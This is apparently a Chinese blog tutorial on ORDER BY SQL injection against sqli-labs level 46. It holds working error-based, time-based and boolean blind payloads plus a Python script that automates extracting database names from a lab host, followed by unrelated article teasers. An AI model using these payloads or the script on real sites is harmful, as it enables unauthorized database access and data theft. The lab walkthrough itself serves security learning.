关于order by的sql注入实验

news/2025/2/28 0:43:07/

实验描述

本实验基于sqli-lab的第46关进行测试

本关的sql 语句为$sql = "SELECT * FROM users ORDER BY $id"

利用sort进行sql注入,我们可以利用报错注入,延时注入来爆出数据

1.报错注入

1.手工测试

爆出数据库

?sort=(extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 1,1))))

爆出数据库中的表

?sort=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))

 爆出表中的列

?sort=(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1))))

爆出列值

?sort=(extractvalue(1,concat(0x7e,(select username from users where id=1))))

2.代码实现

import requests
import re# 目标URL (根据实际环境修改)
target_url = "http://172.25.254.145/sqli-labs-php7-master/Less-46/"def extract_database_name():database_names = []index = 0while True:# 构造注入Payloadpayload = {"sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"}try:# 发送GET请求response = requests.get(target_url, params=payload, timeout=10)response.raise_for_status()# 正则匹配错误信息中的数据库名error_pattern = r"XPATH syntax error: '~([^']+)"match = re.search(error_pattern, response.text)if match:db_name = match.group(1)database_names.append(db_name)print(f"成功提取数据库名: {db_name}")index += 1else:if index == 0:print("找到数据库名,可能漏洞不存在或错误信息被隐藏")else:print("已提取所有数据库名")breakexcept requests.exceptions.Timeout:print(f"[-] 请求超时,索引为 {index},继续尝试...")except requests.exceptions.HTTPError as http_err:print(f"[-] HTTP请求错误,索引为 {index}: {http_err}")except requests.exceptions.RequestException as e:print(f"[-] 请求失败,索引为 {index}: {e}")return database_namesif __name__ == "__main__":all_database_names = extract_database_name()

结果

 同理,修改sql注入语句,即可爆出所有的数据信息

2.盲注

1.时间盲注

错误按照username执行排序,否则结果正确

正确结果如下

错误结果如下

判断当前数据库的名称 

?sort=if((substr(database(),1,1)='s'),(select 1 from (select sleep(2)) as b),username)

判断第一个数据库的名称

?sort=if((substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i'),(select 1 from (select sleep(2)) as b),username)

爆出数据库表(emali表)

?sort=if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'),(select 1 from (select sleep(2)) as b),username)

爆出列值(USER)

?sort=if((substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='U'),(select 1 from (select sleep(2)) as b),username)

 根据上述sql语句可以获得数据库的信息

2.布尔盲注

如果正确按照username排序,不正确按照password排序

?sort=if((substr((select user()),1,1)='r'),username,password)


http://www.ppmy.cn/news/1575376.html

相关文章

C# Unity 唐老狮 No.2 模拟面试题

本文章不作任何商业用途 仅作学习与交流 安利唐老狮与其他老师合作的网站,内有大量免费资源和优质付费资源,我入门就是看唐老师的课程 打好坚实的基础非常非常重要: Unity课程 - 游习堂 - 唐老狮创立的游戏开发在线学习平台 - Powered By EduSoho 如果你发现了文章内特殊的字体…

基于SpringBoot的校园消费点评管理系统

作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:…

MySQL企业开发中高频使用语句

以下是企业级MySQL开发中高频使用的语句分类及示例,结合典型业务场景说明: 一、数据定义(DDL) 表结构管理 -- 创建用户表(含索引优化) CREATE TABLE user (id INT PRIMARY KEY AUTO_INCREMENT,name VARCHAR…

钉钉合同审批对接腾讯电子签,实现合同全流程自动化管理

雏森科技:钉钉审批对接腾讯电子签,实现合同全流程自动化管理 在数字化转型的浪潮中,企业对于高效、安全的合同管理需求日益增长。传统的合同审批和签署流程往往繁琐且耗时,不仅降低了工作效率,还可能因人为疏忽导致法…

深入浅出深度学习中的BatchSize

一、Batch Size 的核心作用 Batch Size 决定了模型每次更新参数时使用的样本数量。直接影响以下方面: 梯度计算的准确性: 大 Batch 的梯度是多个样本的平均,更接近“真实梯度”(整个数据集的梯度方向)。小 Batch 的梯…

Express + MongoDB 实现更新用户时用户名变化验证数据库是否存在,不变不验证

User.findById():方法根据用户 ID 查找当前用户的信息,若用户不存在则返回 404 错误。 User.findOne():方法检查新用户名是否已存在于数据库中。 User.findByIdAndUpdate():方法更新用户信息,new: true 表示返回更新后…

登录逻辑结合redis

1. 用户登录 用户访问登录页面,输入用户名和密码,提交表单。 服务端验证用户名和密码: 如果验证成功,生成 ticket,并将 ticket 和用户 ID 存储在缓存中(如 Redis)。 将 ticket 放入 Cookie 中…

LeetCode 贪心算法经典题目 (C++实现)

121. 买卖股票的最佳时机 题目描述 给定一个数组 prices ,它的第 i 个元素 prices[i] 表示一支给定股票第 i 天的价格。 你只能选择 某一天 买入这只股票,并选择在 未来的某一个不同的日子 卖出该股票。设计一个算法来计算你所能获取的最大利润。 返…